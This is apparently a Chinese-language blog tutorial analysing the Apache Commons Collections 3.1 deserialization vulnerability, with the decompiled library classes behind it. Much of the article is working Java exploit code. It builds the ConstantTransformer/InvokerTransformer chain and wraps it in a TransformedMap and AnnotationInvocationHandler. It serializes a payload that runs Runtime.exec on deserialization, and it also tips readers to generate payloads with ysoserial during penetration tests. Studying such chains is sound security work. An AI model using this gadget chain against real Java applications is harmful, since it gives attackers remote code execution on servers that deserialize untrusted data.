Apache Commons Collections反序列化漏洞的示例分析

一、簡介

雖然這個組件的反序列化漏洞已經被很多文章進行了分析,但是在這里還是要記錄一下。畢竟,這對Java反序列化漏洞的發展意義重大。

apache Commons Collections是Java應用開發中一個非常常用的工具庫,它添加了許多強大的數據結構,簡化了Java應用程序的開發,已經成為Java處理集合數據的公認標準。像許多常見的應用如Weblogic、WebSphere、Jboss、jenkins等都使用了Apache Commons Collections工具庫,當該工具庫出現反序列化漏洞時,這些應用也受到了影響,這也是反序列化漏洞如此嚴重的原因。

二、測試環境

jdk1.7.0_21 + commons-collections-3.1.jar

Apache Commons Collections組件歷史版本下載地址:http://archive.apache.org/dist/commons/collections/binaries/,或者使用maven依賴:


commons-collections
commons-collections
3.1

在Java反序列化漏洞利用工具ysoserial(https://github.com/frohoff/ysoserial)中已經集成了該組件的漏洞利用payload;在滲透測試的時候,只需按照Java序列化數據的特征(以十六進制aced或者base64編碼格式的rO0AB開頭的數據)尋找Java反序列化的入口點,并根據Web應用猜測可能存在CommonsCollections組件,則可以直接使用ysoserial工具直接生成payload進行漏洞利用。

Apache Commons Collections反序列化漏洞的示例分析

三、漏洞分析

這里分析利用transformer接口以及實現該接口的幾個類構造的代碼執行漏洞利用鏈。

transformer接口

Transformer接口的定義十分簡單,只定義了一個transform()方法,根據文檔說明,該方法主要用于對象轉換。實現該接口的類還是挺多的,這里主要利用以下3個實現類:ConstantTransformer、InvokerTransformer和ChainedTransformer。

package org.apache.commons.collections;  public interface Transformer {     //對象轉換     public Object transform(Object input); }

ChainedTransformer類

ChainedTransformer類定義了一個Transformer[]數組,并且在實現transform()方法的時候通過依次遍歷該數組元素,并調用數組元素對應的Transformer實現類的transform()方法,將多個Transformer對象串起來。

public class ChainedTransformer implements Transformer, Serializable {     private final Transformer[] iTransformers;      ...              public ChainedTransformer(Transformer[] transformers) {         super();         iTransformers = transformers;     }      public Object transform(Object object) {         for (int i = 0; i < iTransformers.length; i++) {             object = iTransformers[i].transform(object);         }         return object;     }      ... }

InvokerTransformer類

InvokerTransformer類的transform()方法主要通過反射機制調用傳入參數對象的某個方法,只需在構造InvokerTransformer對象的時候設置方法名、參數類型和參數值即可。

public class InvokerTransformer implements Transformer, Serializable {          /** The method name to call */     private final String iMethodName;     /** The array of reflection parameter types */     private final Class[] iParamTypes;     /** The array of reflection arguments */     private final Object[] iArgs;      ...      public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {         super();         iMethodName = methodName;         iParamTypes = paramTypes;         iArgs = args;     }     //簡化后的transform()方法,通過反射機制調用對象的方法     public Object transform(Object input) {         ...                  Class cls = input.getClass();         Method method = cls.getMethod(iMethodName, iParamTypes);         return method.invoke(input, iArgs);                          ...       } }

ConstantTransformer類

ConstantTransformer類十分簡單,直接返回傳入對象。

public class ConstantTransformer implements Transformer, Serializable {     private final Object iConstant;      ...      public ConstantTransformer(Object constantToReturn) {         super();         iConstant = constantToReturn;     }          public Object transform(Object input) {         return iConstant;     }      ... }

鑒于前面所述情況,我們旨在實現代碼Runtime.getRuntime().exec()的執行。顯然,我們需要使用InvokerTransformer類的transform()方法進行反射調用的實現。如下所示,這里即是代碼執行的源頭:

package orz.vuln.poc;  import org.apache.commons.collections.functors.InvokerTransformer;  public class CommonsCollections { 	public static void main(String[] args) throws Exception {         //通過InvokeTransformer類反射調用Runtime代碼 		InvokerTransformer invoker1 = new InvokerTransformer("getMethod",  				new Class[] {String.class, Class[].class},  				new Object[] {"getRuntime", NULL}); 		InvokerTransformer invoker2 = new InvokerTransformer("invoke",  				new Class[] {Object.class, Object[].class},  				new Object[] {null, null}); 		InvokerTransformer invoker3 = new InvokerTransformer("exec",  				new Class[] {String.class},  				new Object[] {"calc.exe"}); 		invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))); 		 		/*正常反射調用Runtime代碼 		Class clazz = Runtime.class; 		Method m1 = clazz.getMethod("getRuntime", null); 		Method m2 = clazz.getMethod("exec", String.class); 		m2.invoke(m1.invoke(clazz, null), "calc.exe"); 		*/ 	} }

更進一步,我們發現可以借助ChainedTransformer類中的transform()方法代替invoker3.transform(invoker2.transform(invoker1.transform(Runtime.class))),即將上述多個InvokerTransformer對象初始化為Transformer[]數組,并且用Runtime.class初始化ConstantTransformer類對象,這樣,就能構造出一條使用任意對象即可觸發代碼執行的Transformer調用鏈:

package orz.vuln.poc;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer;  public class CommonsCollections { 	public static void main(String[] args) throws Exception { 		Transformer[] transformers = new Transformer[] { 				new ConstantTransformer(Runtime.class), 				new InvokerTransformer("getMethod",  						new Class[] {String.class, Class[].class}, 						new Object[] {"getRuntime", null}), 				new InvokerTransformer("invoke",  						new Class[] {Object.class, Object[].class},  						new Object[] {null, null}), 				new InvokerTransformer("exec", 						new Class[] {String.class}, 						new Object[] {"calc.exe"}) 		}; 		 		Transformer chainedTransformer = new ChainedTransformer(transformers); 		chainedTransformer.transform("foo"); 	} }

接下來,我們希望通過反序列化觸發調用Transformer對象transform()方法,達到代碼執行的目的。

Transformedmap

Apache Commons Collections中定義了一個TransformedMap類用來對Map進行某種變換,該類通過調用decorate()方法進行實例化,如下所示:

Apache Commons Collections反序列化漏洞的示例分析

并且在該類中還有個checkSetValue()方法,在該方法中實現了調用Transformer對象的transform()方法;根據該方法描述,checkSetValue()方法將在setValue()方法調用的時候被調用:

Apache Commons Collections反序列化漏洞的示例分析

因此,我們的思路是通過利用Map對象和構造的惡意Transformer對象初始化TransformedMap對象,再調用setValue()方法修改Map對象的值,代碼如下:

package orz.vuln.poc;  import java.util.HashMap; import java.util.Map;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  public class CommonsCollections { 	public static void main(String[] args) throws Exception { 		Transformer[] transformers = new Transformer[] { 				new ConstantTransformer(Runtime.class), 				new InvokerTransformer("getMethod",  						new Class[] {String.class, Class[].class}, 						new Object[] {"getRuntime", null}), 				new InvokerTransformer("invoke",  						new Class[] {Object.class, Object[].class},  						new Object[] {null, null}), 				new InvokerTransformer("exec", 						new Class[] {String.class}, 						new Object[] {"calc.exe"}) 		}; 		 		Transformer chainedTransformer = new ChainedTransformer(transformers); 		//chainedTransformer.transform("foo"); 		 		Map map = new HashMap(); 		map.put("foo", "bar"); 		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); 		Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); 		entry.setValue("test"); 	} }

繼續尋找通過反序列化觸發setValue()方法執行的地方,最后在AnnotationInvocationHandler類的readObject()方法中找到了。

AnnotationInvocationHandler類

AnnotationInvocationHandler類的readObject()方法如下所示:

Apache Commons Collections反序列化漏洞的示例分析

由于該類不提供公開的構造方法進行初始化,所以,我們通過反射調用該類的構造方法,并使用惡意的TransformedMap對象進行初始化,就可以生成攻擊payload。在執行entry.setValue()方法之前,需要滿足一個判斷條件

Apache Commons Collections反序列化漏洞的示例分析

根據代碼溯源可知,clazz變量是一個注解子類對象的屬性值,如果要滿足clazz變量不為null的話,在Class clazz=map.get(str)中則需要滿足str是我們使用的注解類的屬性;在漏洞利用代碼中我們使用了java.lang.annotation.Target注解,而該注解只有一個屬性value,因此我們在map.put()時,需要保證key的值是value。

Apache Commons Collections反序列化漏洞的示例分析

最終,完整漏洞利用代碼如下:

package orz.vuln.poc;  import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.util.HashMap; import java.util.Map;  import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;  public class CommonsCollections { 	public static void main(String[] args) throws Exception { 		 		Transformer[] transformers = new Transformer[] { 				new ConstantTransformer(Runtime.class), 				new InvokerTransformer("getMethod",  						new Class[] {String.class, Class[].class}, 						new Object[] {"getRuntime", null}), 				new InvokerTransformer("invoke",  						new Class[] {Object.class, Object[].class},  						new Object[] {null, null}), 				new InvokerTransformer("exec", 						new Class[] {String.class}, 						new Object[] {"calc.exe"}) 		}; 		 		Transformer chainedTransformer = new ChainedTransformer(transformers); 		//chainedTransformer.transform("foo"); 		 		Map map = new HashMap(); 		map.put("value", "bar");//由于使用java.lang.annotation.Target,此處key值必須為value 		Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer); 		//Map.Entry entry = (Map.Entry)transformedMap.entrySet().iterator().next(); 		//entry.setValue("test"); 		 		Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 		Constructor ctor = clazz.getDeclaredConstructor(Class.class, Map.class); 		ctor.setAccessible(true); 		Object instance = ctor.newInstance(Target.class, transformedMap); 		 		FileOutputStream fos = new FileOutputStream("D:/commonscollections.ser"); 		ObjectOutputStream oos = new ObjectOutputStream(fos); 		oos.writeObject(instance); 		oos.close(); 		fos.close(); 		 		FileInputStream fis = new FileInputStream("D:/commonscollections.ser"); 		ObjectInputStream ois = new ObjectInputStream(fis); 		ois.readObject(); 		ois.close(); 		fis.close(); 	} }

? 版權聲明
THE END
喜歡就支持一下吧
點贊5 分享